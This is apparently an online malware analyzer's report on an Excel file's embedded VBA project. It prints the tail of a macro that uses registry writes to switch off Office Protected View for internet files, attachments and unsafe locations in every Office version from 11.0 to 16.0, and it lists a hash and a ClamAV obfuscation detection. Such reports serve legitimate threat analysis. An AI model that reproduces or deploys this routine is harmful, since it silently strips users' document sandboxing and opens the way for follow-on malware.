wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 61952 bytes
SHA-256: 44c1b9ead8c99c6dbc4b36441b2cf3ba9df42e6ed40ddf44aa30a82f205e6c95
Detection
ClamAV: Doc.Macro.Obfuscation-6391394-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.